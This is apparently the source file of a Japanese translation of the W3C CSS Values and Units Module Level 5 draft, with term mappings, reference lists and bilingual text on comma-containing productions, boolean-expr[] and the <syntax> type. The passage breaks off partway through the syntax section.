行内-軸:~CSSWM#inline-axis
始端:~CSSWM#css-start
終端:~CSSWM#css-end
横~軸:~CSSWM#x-axis
縦~軸:~CSSWM#y-axis
~flow相対:~CSSWM#flow-relative
書字~mode:~CSSWM#writing-mode

背景~位置決め区画:~CSSBG#background-positioning-area

	●用語（外部

~tuple:~INFRA#tuple
文字列:~INFRA#string
~ASCII大小無視:~INFRA#ascii-case-insensitive
~ASCII数字:~INFRA#ascii-digit
~list:~INFRA#list
~size:~INFRA#list-size
付加する:~INFRA#list-append

~tree:~DOM4#concept-tree
~light~tree:~DOM4#concept-light-tree
~shadow~tree:~DOM4#concept-shadow-tree
~host:~DOM4#concept-documentfragment-host
属性:~DOM4#concept-attribute
要素:~DOM4#concept-element
文書:~DOM4#concept-document
	I.Document:~DOM4#document → 文書
	I.Element:~DOM4#element → 要素
要請:~FETCH#concept-request
rq.~mode:~FETCH#concept-request-mode
rq.~referrer施策:~FETCH#concept-request-referrer-policy
rq.完全性~metadata:~FETCH#concept-request-integrity-metadata
rq.資格証~mode:~FETCH#concept-request-credentials-mode

●●images
＠css-backgrounds/
bg-pos｜width:450px; height:300px;｜｜.svg

●●html_code_list

■attr-notation-1
<在庫>
  <木材 長さ="12"/>
  <木材 長さ="5"/>
  <金属 長さ="19"/>
  <木材 長さ="4"/>
</在庫>
％
在庫::before {
  display: block;
  content: "ある縮尺による，在庫内の各素材の長さ：";
}
在庫 > * {
  display: block;
  width: attr(長さ em, 0px);
  height: 1em;
  border: solid thin;
  margin: 0.5em;
}
木材 {
  background: orange url(wood.png);
}
金属 {
  background: silver url(metal.png);
}

<stock>
  <wood length="12"/>
  <wood length="5"/>
  <metal length="19"/>
  <wood length="4"/>
</stock>

stock::before {
  display: block;
  content: "To scale, the lengths of materials in stock are:";
}
stock > * {
  display: block;
  width: attr(length em, 0px);
  height: 1em;
  border: solid thin;
  margin: 0.5em;
}
wood {
  background: orange url(wood.png);
}
metal {
  background: silver url(metal.png);
}

●●ref_normative

[CSS-ALIGN-3]
    Elika Etemad; Tab Atkins Jr.. ＜CSS Box Alignment Module Level 3＞. 11 March 2025. WD. URL: https://www.w3.org/TR/css-align-3/
[CSS-ANIMATIONS-1]
    David Baron; et al. ＜CSS Animations Level 1＞. 2 March 2023. WD. URL: https://www.w3.org/TR/css-animations-1/
[CSS-ANIMATIONS-2]
    David Baron; Brian Birtles. ＜CSS Animations Level 2＞. 2 June 2023. WD. URL: https://www.w3.org/TR/css-animations-2/
[CSS-BACKGROUNDS-3]
    Elika Etemad; Brad Kemper. ＜CSS Backgrounds and Borders Module Level 3＞. 11 March 2024. CRD. URL: https://www.w3.org/TR/css-backgrounds-3/
[CSS-BOX-4]
    Elika Etemad. ＜CSS Box Model Module Level 4＞. 4 August 2024. WD. URL: https://www.w3.org/TR/css-box-4/
[CSS-CASCADE-5]
    Elika Etemad; Miriam Suzanne; Tab Atkins Jr.. ＜CSS Cascading and Inheritance Level 5＞. 13 January 2022. CR. URL: https://www.w3.org/TR/css-cascade-5/
[CSS-COLOR-5]
    Chris Lilley; et al. ＜CSS Color Module Level 5＞. 18 March 2025. WD. URL: https://www.w3.org/TR/css-color-5/
[CSS-CONDITIONAL-3]
    Chris Lilley; David Baron; Elika Etemad. ＜CSS Conditional Rules Module Level 3＞. 15 August 2024. CRD. URL: https://www.w3.org/TR/css-conditional-3/
[CSS-CONDITIONAL-5]
    Chris Lilley; et al. ＜CSS Conditional Rules Module Level 5＞. 5 November 2024. WD. URL: https://www.w3.org/TR/css-conditional-5/
[CSS-CONTAIN-3]
    Tab Atkins Jr.; Florian Rivoal; Miriam Suzanne. ＜CSS Containment Module Level 3＞. 18 August 2022. WD. URL: https://www.w3.org/TR/css-contain-3/
[CSS-DISPLAY-3]
    Elika Etemad; Tab Atkins Jr.. ＜CSS Display Module Level 3＞. 30 March 2023. CR. URL: https://www.w3.org/TR/css-display-3/
[CSS-EASING-1]
    Brian Birtles; Dean Jackson; Matt Rakow. ＜CSS Easing Functions Level 1＞. 13 February 2023. CRD. URL: https://www.w3.org/TR/css-easing-1/
[CSS-EASING-2]
    ＜CSS Easing Functions Level 2＞. 29 August 2024. FPWD. URL: https://www.w3.org/TR/css-easing-2/
[CSS-FONTS-4]
    Chris Lilley. ＜CSS Fonts Module Level 4＞. 1 February 2024. WD. URL: https://www.w3.org/TR/css-fonts-4/
[CSS-IMAGES-3]
    Tab Atkins Jr.; Elika Etemad; Lea Verou. ＜CSS Images Module Level 3＞. 18 December 2023. CRD. URL: https://www.w3.org/TR/css-images-3/
[CSS-IMAGES-4]
    Tab Atkins Jr.; Elika Etemad; Lea Verou. ＜CSS Images Module Level 4＞. 17 February 2023. WD. URL: https://www.w3.org/TR/css-images-4/
[CSS-PROPERTIES-VALUES-API-1]
    Tab Atkins Jr.; Alan Stearns; Greg Whitworth. ＜CSS Properties and Values API Level 1＞. 26 March 2024. WD. URL: https://www.w3.org/TR/css-properties-values-api-1/
[CSS-PSEUDO-4]
    Daniel Glazman; Elika Etemad; Alan Stearns. ＜CSS Pseudo-Elements Module Level 4＞. 30 December 2022. WD. URL: https://www.w3.org/TR/css-pseudo-4/
[CSS-SCOPING-1]
    Tab Atkins Jr.; Elika Etemad. ＜CSS Scoping Module Level 1＞. 3 April 2014. FPWD. URL: https://www.w3.org/TR/css-scoping-1/
[CSS-SIZING-3]
    Tab Atkins Jr.; Elika Etemad. ＜CSS Box Sizing Module Level 3＞. 17 December 2021. WD. URL: https://www.w3.org/TR/css-sizing-3/
[CSS-SIZING-4]
    Tab Atkins Jr.; Elika Etemad; Jen Simmons. ＜CSS Box Sizing Module Level 4＞. 20 May 2021. WD. URL: https://www.w3.org/TR/css-sizing-4/
[CSS-SYNTAX-3]
    Tab Atkins Jr.; Simon Sapin. ＜CSS Syntax Module Level 3＞. 24 December 2021. CRD. URL: https://www.w3.org/TR/css-syntax-3/
[CSS-TRANSFORMS-1]
    Simon Fraser; et al. ＜CSS Transforms Module Level 1＞. 14 February 2019. CR. URL: https://www.w3.org/TR/css-transforms-1/
[CSS-TRANSFORMS-2]
    Tab Atkins Jr.; et al. ＜CSS Transforms Module Level 2＞. 9 November 2021. WD. URL: https://www.w3.org/TR/css-transforms-2/
[CSS-TRANSITIONS-1]
    David Baron; et al. ＜CSS Transitions＞. 11 October 2018. WD. URL: https://www.w3.org/TR/css-transitions-1/
[CSS-TYPED-OM-1]
    Tab Atkins Jr.; François Remy. ＜CSS Typed OM Level 1＞. 21 March 2024. WD. URL: https://www.w3.org/TR/css-typed-om-1/
[CSS-VALUES-4]
    Tab Atkins Jr.; Elika Etemad. ＜CSS Values and Units Module Level 4＞. 12 March 2024. WD. URL: https://www.w3.org/TR/css-values-4/
[CSS-VALUES-5]
    Tab Atkins Jr.; Elika Etemad; Miriam Suzanne. ＜CSS Values and Units Module Level 5＞. 11 November 2024. WD. URL: https://www.w3.org/TR/css-values-5/
[CSS-VARIABLES-1]
    Tab Atkins Jr.. ＜CSS Custom Properties for Cascading Variables Module Level 1＞. 16 June 2022. CR. URL: https://www.w3.org/TR/css-variables-1/
[CSS-WRITING-MODES-4]
    Elika Etemad; Koji Ishii. ＜CSS Writing Modes Level 4＞. 30 July 2019. CR. URL: https://www.w3.org/TR/css-writing-modes-4/
[CSS21]
    Bert Bos; et al. ＜Cascading Style Sheets Level 2 Revision 1 (CSS 2.1) Specification＞. 7 June 2011. REC. URL: https://www.w3.org/TR/CSS2/
[DOM]
    Anne van Kesteren. ＜DOM Standard＞. Living Standard. URL: https://dom.spec.whatwg.org/
[ECMASCRIPT]
    ＜ECMAScript Language Specification＞. URL: https://tc39.es/ecma262/multipage/
[FETCH]
    Anne van Kesteren. ＜Fetch Standard＞. Living Standard. URL: https://fetch.spec.whatwg.org/
[HTML]
    Anne van Kesteren; et al. ＜HTML Standard＞. Living Standard. URL: https://html.spec.whatwg.org/multipage/
[INFRA]
    Anne van Kesteren; Domenic Denicola. ＜Infra Standard＞. Living Standard. URL: https://infra.spec.whatwg.org/
[MEDIAQUERIES-4]
    Florian Rivoal; Tab Atkins Jr.. ＜Media Queries Level 4＞. 25 December 2021. CRD. URL: https://www.w3.org/TR/mediaqueries-4/
[MEDIAQUERIES-5]
    Dean Jackson; et al. ＜Media Queries Level 5＞. 18 December 2021. WD. URL: https://www.w3.org/TR/mediaqueries-5/
[REFERRER-POLICY]
    Jochen Eisinger; Emily Stark. ＜Referrer Policy＞. 26 January 2017. CR. URL: https://www.w3.org/TR/referrer-policy/
[RFC2119]
    S. Bradner. ＜Key words for use in RFCs to Indicate Requirement Levels＞. March 1997. Best Current Practice. URL: https://datatracker.ietf.org/doc/html/rfc2119
[SELECTORS-3]
    Tantek Çelik; et al. ＜Selectors Level 3＞. 6 November 2018. REC. URL: https://www.w3.org/TR/selectors-3/
[SELECTORS-4]
    Elika Etemad; Tab Atkins Jr.. ＜Selectors Level 4＞. 11 November 2022. WD. URL: https://www.w3.org/TR/selectors-4/
[WEB-ANIMATIONS-1]
    Brian Birtles; et al. ＜Web Animations＞. 5 June 2023. WD. URL: https://www.w3.org/TR/web-animations-1/
[WEB-ANIMATIONS-2]
    Brian Birtles; Robert Flack. ＜Web Animations Level 2＞. 21 February 2023. FPWD. URL: https://www.w3.org/TR/web-animations-2/
[WEBIDL]
    Edgar Chen; Timothy Gu. ＜Web IDL Standard＞. Living Standard. URL: https://webidl.spec.whatwg.org/

●●ref_informative

[CSS-CASCADE-4]
    Elika Etemad; Tab Atkins Jr.. ＜CSS Cascading and Inheritance Level 4＞. 13 January 2022. CR. URL: https://www.w3.org/TR/css-cascade-4/
[CSS-CASCADE-6]
    Elika Etemad; Miriam Suzanne; Tab Atkins Jr.. ＜CSS Cascading and Inheritance Level 6＞. 6 September 2024. WD. URL: https://www.w3.org/TR/css-cascade-6/
[CSS-COLOR-4]
    Chris Lilley; Tab Atkins Jr.; Lea Verou. ＜CSS Color Module Level 4＞. 13 February 2024. CRD. URL: https://www.w3.org/TR/css-color-4/
[CSS-DISPLAY-4]
    Elika Etemad; Tab Atkins Jr.. ＜CSS Display Module Level 4＞. 19 December 2024. FPWD. URL: https://www.w3.org/TR/css-display-4/
[CSS-LISTS-3]
    Elika Etemad; Tab Atkins Jr.. ＜CSS Lists and Counters Module Level 3＞. 17 November 2020. WD. URL: https://www.w3.org/TR/css-lists-3/
[CSSOM-1]
    Daniel Glazman; Emilio Cobos Álvarez. ＜CSS Object Model (CSSOM)＞. 26 August 2021. WD. URL: https://www.w3.org/TR/cssom-1/
[SCROLL-ANIMATIONS-1]
    Brian Birtles; et al. ＜Scroll-driven Animations＞. 6 June 2023. WD. URL: https://www.w3.org/TR/scroll-animations-1/


●●trans_metadata
<p>
~THIS_PAGEは、~W3Cにより作業草案として公開された
<a href="~SPEC_URL">CSS Values and Units Module Level 5</a>
を日本語に翻訳したものです。
~PUB
</p>

●●spec_metadata

最新公表バージョン
	https://www.w3.org/TR/css-values-5/
公表履歴
	https://www.w3.org/standards/history/css-values-5/
フィードバック
	<a href="https://github.com/w3c/csswg-drafts/labels/css-values-5">CSSWG Issues Repository</a>

編集
	<a href="http://xanthir.com/contact/">Tab Atkins</a> (Google)
	<a href="http://fantasai.inkedblade.net/contact">Elika J. Etemad / fantasai</a> (Apple)
	<a href="http://miriamsuzanne.com/contact">Miriam E. Suzanne</a> (Invited Expert)

Suggest an Edit for this Spec
	<a href="https://github.com/w3c/csswg-drafts/blob/main/css-values-5/Overview.bs">GitHub Editor</a>
commit 履歴
	https://github.com/w3c/csswg-drafts/commits/main/css-values-5

</script>
<body>

<header>
	<hgroup>
<h1>CSS の値と単位 — CSS Values and Units Module Level 5</h1>
	</hgroup>
</header>

<div id="MAIN" hidden>
	<section id="abstract">
◎要約

<p>
この~CSS~moduleは、
~CSS~propに受容される共通な値と単位，および
~CSS~prop定義の中でそれらの値と単位を述べるために利用される構文について述べる。
◎
This CSS module describes the common values and units that CSS properties accept and the syntax used for describing them in CSS property definitions.
</p>

~CSSisaLANG

	</section>
	<section id="sotd">
◎位置付け

<p>
この節では、
公表~時点における…
【以下、この節の内容は，~SOTD-CSSに移譲。】
</p>

	</section>

<main id="MAIN0">

	<section id="intro">
<h2 title="Introduction">1. 序論</h2>

<p class="issue">
<strong>
これは、
`~level 4$ からの差分~仕様である。
</strong>
◎
This is a diff spec against CSS Values and Units Level 4.
</p>

		<section id="placement">
<h3 title="Module Interactions">1.1. ~module間の相互作用</h3>

<p>
`~level 4$ は、
`CSS21$r の
`§ 1.4.2.1＠~TR/CSS2/about.html#value-defs$,
`§ 4.3＠~TR/CSS2/syndata.html#values$,
`§ A.2＠~TR/CSS2/aural.html#aural-intro$
による各種~data型~定義を置換して，拡張する。
この~moduleは、
`~level 4$ を拡張する。
◎
This module extends [CSS-VALUES-4] which replaces and extends the data type definitions in [CSS21] sections 1.4.2.1, 4.3, and A.2.
</p>

		</section>
	</section>
	<section id="textual-values">
<h2 title="Textual Data Types">2. ~textな~data型</h2>

<p>
`~level 4$ の `§ ~textな~data型＠~CSSVAL#textual-values$
を見よ。
◎
See CSS Values 4 § 4 Textual Data Types.
</p>

	</section>
	<section id="value-defs">
<h2 title="Value Definition Syntax">3. 値~定義の構文</h2>

<p>
`~level 4$ の
`§ 値~定義の構文＠~CSSVAL#value-defs$
を見よ。
◎
See CSS Values 4 § 2 Value Definition Syntax.
</p>

<p>
加えて：
◎
Additionally,
</p>
<dl>
	<dt>
条件付き記法を成す真偽値の組合n
◎
Boolean combinations of a conditional notation.＼
</dt>
	<dd>
これらは、
`boolean-expr[]$t 記法を利用して記される。
それは、
~keywordや丸括弧を利用して［
角括弧~内に指定された文法に適用される真偽-論理
］が成す再帰的な式を表現する。
（例： `媒体~query$を表出するための `boolean-expr[ &lt;media-feature&gt; ]$t ）。
◎
These are written using the &lt;boolean-expr[]&gt; notation, and represent recursive expressions of boolean logic using keywords and parentheses, applied to the grammar specified in brackets, e.g. &lt;boolean-expr[ ( &amp;lt;media-feature&amp;gt; ) ]&gt; to express media queries.
</dd>
</dl>

		<section id="component-functions">
<h3 title="Functional Notation Definitions">3.1. 関数-記法の定義</h3>

<p>
`~level 4$ の
`§ 関数-記法の定義＠~CSSVAL#component-functions$
を見よ。
◎
See CSS Values 4 § 2.6 Functional Notation Definitions.
</p>

			<section id="component-function-commas">
<h4 title="Commas in Function Arguments">3.1.1. 関数の引数~群における~comma</h4>

<p>
`関数-記法$は、
その内部的な文法を成す各部を分離するために，~commaを利用することが多い。
しかしながら、
一部の関数（ `mix$f など ）は，値~自体が~commaを包含し得ることを許容する。
これらの値
（現時点では、
`whole-value$t, `declaration-value$t, `any-value$t ）
は、
`~commaを包含する生成規則@
である。
◎
Functional notation often uses commas to separate parts of its internal grammar. However, some functions (such as mix()) allow values that, themselves, can contain commas. These values (currently &lt;whole-value&gt;, &lt;declaration-value&gt;, and &lt;any-value&gt;) are comma-containing productions.
</p>

<p>
これらに類する文法を一義的に収容するため、
`~commaを包含する生成規則$は，任意選択で波括弧
— `{^g, `}^g —
で括れる
【作者は、値を そのような形で記してもヨイ】。
これらの波括弧は、
構文上のものであり，実際の値の一部を成すものではない。
特定的に，`~commaを包含する生成規則$は：
◎
To accommodate these sorts of grammars unambiguously, the comma-containing productions can be optionally wrapped in curly braces {}. These braces are syntactic, not part of the actual value. Specifically:
</p>
<ul>
	<li>
`{-token$t （左~波括弧）から開始することも, 開始しないこともできる。
◎
A comma-containing production can either start with a "{" token, or not.
</li>
	<li>
`{-token$t から開始しない場合、
~commaや`波括弧-~block$（ `{} block^en ）を包含し得ない
— 当の生成規則が自身に対し定義する特有な制約が何であれ，それに加えて。
（当の生成規則の構文解析は，［
`comma-token$t ／ `{-token$t
］に出くわした所で停止され、［
~comma／`波括弧-~block$
］は，代わりに次に来る文法~項
— 【前者ならば、】おそらく，当の関数の自前の引数を分離している~comma —
に合致する。）
◎
If it does not start with a "{" token, then it cannot contain commas or {} blocks, in addition to whatever specific restrictions it defines for itself. (The production stops parsing at that point, so the comma or {} block is matched by the next grammar term instead; probably the function’s own argument-separating comma.)
</li>
	<li>
`{-token$t から開始する場合、
それが開く`波括弧-~block$だけに合致する。
当の生成規則は、
この~blockを成す`内容^emを表現する。
加えて、
その内容に対し，何であれ［
当の生成規則が自身に対し定義する特有な制約
］を適用する
— 当の~blockを括る波括弧を無視して。
◎
If it does start with a "{" token, then the production matches just the {} block that the "{" token opens. It represents the contents of that block, and applies whatever specific restrictions it defines for itself to those contents, ignoring the {} block wrapper.
</li>
</ul>

<div class="example">
<p>
例えば `random-item$f 関数の文法：
◎
For example, the grammar of the random-item() function is:
</p>

<pre class="prod">
random-item( `random-value-sharing$t, [`declaration-value$t?]# )
</pre>

<p>
において、
`#^g は，
~commaで分離された繰返nを指示するので、
3 個の~keywordから~randomに選ぶことは，
通常の関数と同じく次の様に書かれる：
◎
The # indicates comma-separated repetitions, so randomly choosing between three keywords would be written as normal for functions, like:
</p>

<pre class="lang-css">
font-family: random-item(--x, serif, sans-serif, monospace);
</pre>

<p>
しかしながら，ときには、
~commaを含む必要がある値を選ぶことが求まれることもある。
この事例に該当するとき，値を波括弧で括ることは、
それらの~commaを［
当の関数の引数どうしを分離している~comma
］から判別することを許容する：
◎
However, sometimes the values you want to choose between need to include commas. When this is the case, wrapping the values in {} allows their commas to be distinguished from the function’s argument-separating commas:
</p>

<pre class="lang-css">
font-family: random-item(--x, {Times, serif}, {Arial, sans-serif}, {Courier, monospace});
</pre>

<p>
これは、
3 個の［
~font族たちが成す~list
］
— `Times, serif^v,
`Arial, sans-serif^v,
`Courier, monospace^v —
から 1 つを~randomに選ぶ。
◎
This randomly chooses one of three font-family lists: either Times, serif, or Arial, sans-serif, or Courier, monospace.
</p>

<p>
波括弧の利用は、
一律的ではない。
それは、
それが必要になる`一部^emの引数に限って利用でき，
厳密に要求されないときでも許容される。
例えば：
◎
This is not all-or-nothing; you can use {} around some arguments that need it, while leaving others bare when they don’t need it. You are also allowed to use {} around a value when it’s not strictly required. For example:
</p>

<pre class="lang-css">
font-family: random-item(--x, {Times, serif}, sans-serif, {monospace});
</pre>

<p>
これは、
3 個の~font族~list
— `Times, serif^v ／
`sans-serif＠~CSSFONT#valdef-font-family-sans-serif$v ／
`monospace＠~CSSFONT#valdef-font-family-monospace$v —
から選ぶことを表現する。
◎
This represents choosing between three font-family lists: either Times, serif, or sans-serif, or monospace.
</p>

<p>
しかしながら，この波括弧による括り法は、
一部の関数~引数
— `~commaを包含する生成規則$として定義されたもの —
に`限り^em許容され，他の生成規則においては妥当でない
— 他の関数~引数の周りに波括弧を利用した場合、
単に当の関数の文法に合致することに失敗し，無効になる。
例えば，次は、
<strong>無効</strong>になる：
◎
However, this {}-wrapping is only allowed for some function arguments—​those defined as comma-containing productions. It’s not valid for any other productions; if you use {} around other function arguments, it’ll just fail to match the function’s grammar and become invalid. For example, the following is invalid:
</p>

<pre class="lang-css">
background-image: linear-gradient(to left, {red}, magenta);
</pre>
</div>

<p class="note">注記：
~blockを括る波括弧は，明示的に要求されない所でも許容されるので、
`var$f 様な`任意-代入~関数$に因り，~commaを包含するようになるか否か不確かなときでも、
作者は，それらを各~値の周りに防御的に利用できる。
例えば，
`font-family:random-item(--x, {var(--list1)}, monospace)$p は、
~custom~prop `--list1^p が~commaで分離された~listを包含するか否かに関わらず，
正しく働くことになる。
◎
Note: Because {} wrappers are allowed even when not explicitly required, they can be used defensively around values when the author isn’t sure if they’ll end up containing commas or not, due to arbitrary substitution functions like var(). For example, font-family: random-item(--x, {var(--list1)}, monospace) will work correctly regardless of whether the --list1 custom property contains a comma-separated list or not.
</p>

<p>
`関数-記法$は、
アリなときは，~blockを括る波括弧を伴わずに直列化される。
◎
Functional notations are serialized without {} wrappers whenever possible.
</p>

<p>
次に挙げる汎用な生成規則は、
`~commaを包含する生成規則$である：
◎
The following generic productions are comma-containing productions:
</p>
<ul>
	<li>
`any-value$t
◎
&lt;any-value&gt;
</li>
	<li>
`whole-value$t
◎
&lt;whole-value&gt;
</li>
	<li>
`declaration-value$t
◎
&lt;declaration-value&gt;
</li>
</ul>

<p>
旧来との互換性の理由から、
`var$f 関数の~fallback値~用に定義された `declaration-value$t は、
`~commaを包含する厳密でない生成規則@
になる。
それは：
◎
For legacy compat reasons, the &lt;declaration-value&gt; defined the fallback value for var() is a non-strict comma-containing production.＼
</p>
<ul>
	<li>
`{-token$t から開始しないときには、
それが何を包含し得るかを制約する規則を無視する
— すなわち、［
~comma, `波括弧-~block$
］を包含することは許容される。
◎
It ignores the rules restricting what it can contain when it does not start with a "{" token: it is allowed to contain commas and {} blocks.＼
</li>
	<li>
`{-token$t から`開始するとき^emには、
依然として，標準な`~commaを包含する生成規則$の規則に従う。
しかしながら，当の~fallback値は、
当の`波括弧-~block$の内容だけになり，それを括る波括弧を含まない。
◎
It still follows the standard comma-containing production rules when it does start with a "{" token, however: the fallback is just the contents of the {} block, and doesn’t include the {} wrapper itself.
</li>
</ul>

<p>
他の文脈は，
`~commaを包含する厳密でない生成規則$を利用するものと定義しても`ヨイ^emが、
必要yでない限り，避ける`ベキ^emである。
◎
Other contexts may define that they use non-strict comma-containing productions, but it should be avoided unless necessary.
</p>

			</section>
		</section>
		<section id="boolean">
<h3 title="Boolean Expression Multiplier &lt;boolean-expr[]&gt;">3.2. 真偽-式の複化子： `boolean-expr[]^t</h3>

<p>
いくつかの文脈（ `media$at, `supports$at, `if$f, ...など）は、［
条件たちを指定して，
それらを真偽-論理（ `and^v ／ `or^v ／ `not^v ／ ~group化）で組合せる
］ことを許容する。
それらは，同じ自明でない再帰的な構文~構造を利用するので、
特別な
`boolean-expr[]@t
【！`boolean-expr@t】
生成規則が，この~patternを汎用~的に表現する。
◎
Several contexts (such as @media, @supports, if(), ...) specify conditions, and allow combining those conditions with boolean logic (and/or/not/grouping). Because they use the same non-trivial recursive syntax structure, the special &lt;boolean-expr&gt; production represents this pattern generically.
</p>

<p>
`boolean-expr[]$t 記法は、
その中の角括弧~内に別の値~型 %型 を包装する
（例： `boolean-expr[ &lt;test&gt; ]^t 【！`boolean[ &lt;test&gt; ]^t】）。
【言い換えれば、別の値~型（例： `test^t ）で~parameter化された型である。】
それは、
%型 を成す 1 個の値, あるいは
真偽-組合n
— ~keyword［
`not^v【！＠~MQ5#valdef-media-not】／ `and^v ／ `or^v
］や［
~group化するための丸括弧
］を利用している組合n —
【を %型 を成す値たちに適用した結果】を表現する。
それは、
正式には，次と等価になる：
◎
The &lt;boolean-expr[]&gt; notation wraps another value type in the square brackets within it, e.g. &lt;boolean[ &lt;test&gt; ]&gt;, and represents that value type alone as well as boolean combinations using the not, and, and or keywords and grouping parenthesis. It is formally equivalent to:
</p>

<pre class="prod">
`boolean-expr[ &lt;test&gt; ]^t
	= not `boolean-expr-group^t
	| `boolean-expr-group^t [ [ and `boolean-expr-group^t ]* | [ or `boolean-expr-group^t ]* ]

`boolean-expr-group^t
	= `test^t
	| ( `boolean-expr[ &lt;test&gt; ]^t )
	| `general-enclosed$t
</pre>

<p>
`boolean-expr[]$t 生成規則は、［
`真^i ／ `偽^i ／ `未知^i
］値を表現する。
その値は、
~Kleeneの 3-値~論理を利用して解決される
— ただし，~top-levelの
（すなわち，別の `boolean-expr[]$t を成す文法の内側に直に入子にされていない）
`未知^i は、
他が指定されない限り， `偽^i に解決される。
詳細は `§ 真偽-論理＠#boolean-logic$を見よ。
◎
The &lt;boolean-expr[]&gt; production represents a true, false, or unknown value. Its value is resolved using 3-value Kleene logic, with top-level unknown values (those not directly nested inside the grammar of another &lt;boolean-expr[]&gt;) resolving to false unless otherwise specified; see Appendix B: Boolean Logic for details.
</p>

<div class="example">
<p>
例えば， `container$at 規則は、
多様な~testを許容する
— ~size~query, ~style~query, ~scroll状態~queryなど。
これらすべては、
真偽-論理と任意に組合せることが可能である。
`container^at 規則を成す容器~query用の文法は、
`boolean-expr[]$t を利用して，次のように書くこともできる：
◎
For example, the @container rule allows a wide variety of tests: including size queries, style queries, and scroll-state queries. All of these are arbitrarily combinable with boolean logic. Using &lt;boolean-expr[]&gt;, the grammar for an @container query could be written as:
</p>

<pre class="prod">
`container-query^t
	= `boolean-expr[ &lt;cq-test&gt; ]^t
`cq-test^t
	= (`size-query^t)
	| style( `style-query^t )
	| scroll-state( `scroll-state-query^t )
`size-query^t
	= `boolean-expr[ ( &lt;size-feature&gt; ) ]^t
	| `size-feature^t
`style-query^t
	= `boolean-expr[ ( &lt;style-feature&gt; ) ]^t
	| `style-feature^t
`scroll-state-query^t
	= `boolean-expr[ ( &lt;scroll-state-feature&gt; ) ]^t
	| `scroll-state-feature^t
</pre>
</div>

<p>
この論理を成す分岐 `general-enclosed$t は、
将来との互換性を許容する
— 新たな式は、
それを~supportしない~UAにおいては，他が指定されない限り “未知なもの” として［
構文解析される／見なされる
］ことになる
— 当の式【！生成規則】を無効~化することなく。
そのような許容との一貫性を得るため、
`boolean-expr[]$t 内の `test^t 項は，
`general-enclosed^t に合致する【にも合致する？】よう定義されるベキである。
◎
The &lt;general-enclosed&gt; branch of the logic allows for future compatibility—unless otherwise specified new expressions in an older UA will be parsed and considered “unknown”, rather than invalidating the production. For consistency with that allowance, the &lt;test&gt; term in a &lt;boolean-expr[]&gt; should be defined to match &lt;general-enclosed&gt;.
</p>

		</section>
		<section id="css-syntax">
<h3 title="Specifying CSS Syntax in CSS: the &lt;syntax&gt; type">3.3. ~CSSにおける~CSS構文の指定-法： `syntax^t 型</h3>

<p>
~CSSにおける一部の特能
— `attr$f 関数, `登録-済み~custom~prop$など —
は、［
`別の^em値が，どう構文解析されるものと意味されるか
］を指定することを許容する。
これは、
`syntax$t 生成規則を介して宣言される。
それは、［
仕様において~CSS特能を定義するために利用される，~CSSの`値~定義の構文$
］を制限した形を真似る。
それは、
ある`構文~定義$を表現する：
◎
Some features in CSS, such as the attr() function or registered custom properties, allow you to specify how another value is meant to be parsed. This is declared via the &lt;syntax&gt; production, which resembles a limited form of the CSS value definition syntax used in specifications to define CSS features, and which represents a syntax definition:
</p>

<pre class="prod">
`syntax@t
	= '*'
	| `syntax-component$t [ `syntax-combinator$t `syntax-component$t ]*
	| `syntax-string$t
`syntax-component@t
	= `syntax-single-component$t `syntax-multiplier$t?
	| '&lt;' transform-list '&gt;'
`syntax-single-component@t
	= '&lt;' `syntax-type-name$t '&gt;'
	| `ident$t
`syntax-type-name@t
	= angle
	| color
	| custom-ident
	| image
	| integer
	| length
	| length-percentage
	| number
	| percentage
	| resolution
	| string
	| time
	| url
	| transform-function
`syntax-combinator@t
	= '|'
`syntax-multiplier@t
	= [ '#' | '+' ]

`syntax-string@t
	= `string$t
</pre>

<p>
`syntax-component$t 【を成す `syntax-single-component$t 】は、
次のいずれかからなる：
◎
A &lt;syntax-component&gt; consists of either＼
</p>
<ul>
	<li>
`&lt;^g, `&gt;^g （山括弧）で括られた `syntax-type-name$t 
— `~supportされる構文~成分~名$のうち いずれかへ対応付けられる。
◎
a &lt;syntax-type-name&gt; between &lt;&gt; (angle brackets), which maps to one of the supported syntax component names,＼
</li>
	<li>
`ident$t 
— 任意の`~keyword$を表現する。
◎
or an &lt;ident&gt;, which represents any keyword.＼
◎
↓ Additionally, a &lt;syntax-component&gt; may contain a multiplier, which indicates a list of values.
</li>
</ul>

<p class="note">注記：
このことは、
`&lt;length&gt;^g と `length^g は、
2 つの異なる型を表すことを意味する：
前者は `length$t を述べる一方で、
後者は`~keyword$ `length^v を述べる。
◎
Note: This means that &lt;length&gt; and length are two different types: the former describes a &lt;length&gt;, whereas the latter describes a keyword length.
</p>

<p>
`syntax-component$t は、
`複化子$を包含してもヨイ
— それは、
成分~値たちが成す`~list$であることを指示する。
◎
↑</p>

<p>
複数個の `syntax-component$t を `delim-token$t `|^g で`結合-＠~CSSPV1#combinator$してもヨイ
— それは、
値に対し，各~構文~成分を指定した順序で照合させる。
◎
Multiple &lt;syntax-component&gt;s may be combined with a | &lt;delim-token&gt;, causing the syntax components to be matched against a value in the specified order.
</p>

<div class="example">
<pre class="lang-css">
&lt;percentage&gt; | &lt;number&gt; | auto
</pre>

<p>
これは， `syntax$t として構文解析されたときには、［
`percentage$t 値,
`number$t 値,
~keyword `auto^v
］を受容するようになる。
◎
The above, when parsed as a &lt;syntax&gt;, would accept &lt;percentage&gt; values, &lt;number&gt; values, as well as the keyword auto.
</p>
</div>

<div class="example">
<pre class="lang-css">
red | &lt;color&gt;
</pre>
<p>
この `syntax$t 値を構文解析した結果の`構文~定義$が，`構文解析＠~CSSSYN#css-parse-something-according-to-a-css-grammar$用の文法として利用されたときには、
入力［
`red^v ／ `blue^v
］は［
`~CSS識別子$／ `color$t
］として合致するようになる。
◎
The syntax definition resulting from the above &lt;syntax&gt;, when used as a grammar for parsing, would match an input red as an identifier, but would match an input blue as a &lt;color&gt;.
</p>
</div>

<p>
`delim-token$t `*^g は、
`全称~構文~定義$を表現する。
◎
The * &lt;delim-token&gt; represents the universal syntax definition.
</p>

<p>
値 `&lt;transform-list&gt;^v は、
`transform-list$t 生成規則に対応する
— それは、
<code class="prod">`transform-function$t+</code> に等価な便利~用の形である。
<span class="note">
これは、
`syntax-multiplier$t が後続しなくともよいことに注意。
</span>
◎
The &lt;transform-list&gt; production is a convenience form equivalent to &lt;transform-function&gt;+. Note that &lt;transform-list&gt; may not be followed by a &lt;syntax-multiplier&gt;.
</p>

<p>
次に挙げる箇所には、
`空白$は許容されない：
◎
Whitespace is not allowed＼
</p>
<ul>
	<li>
`syntax-type-name$t とそれを括る山括弧
— `delim-token$t `&lt;^g, `&gt;^g —
の合間
◎
between the angle bracket &lt;delim-token&gt;s (&lt; &gt;) and the &lt;syntax-type-name&gt; they enclose,＼
</li>
	<li>
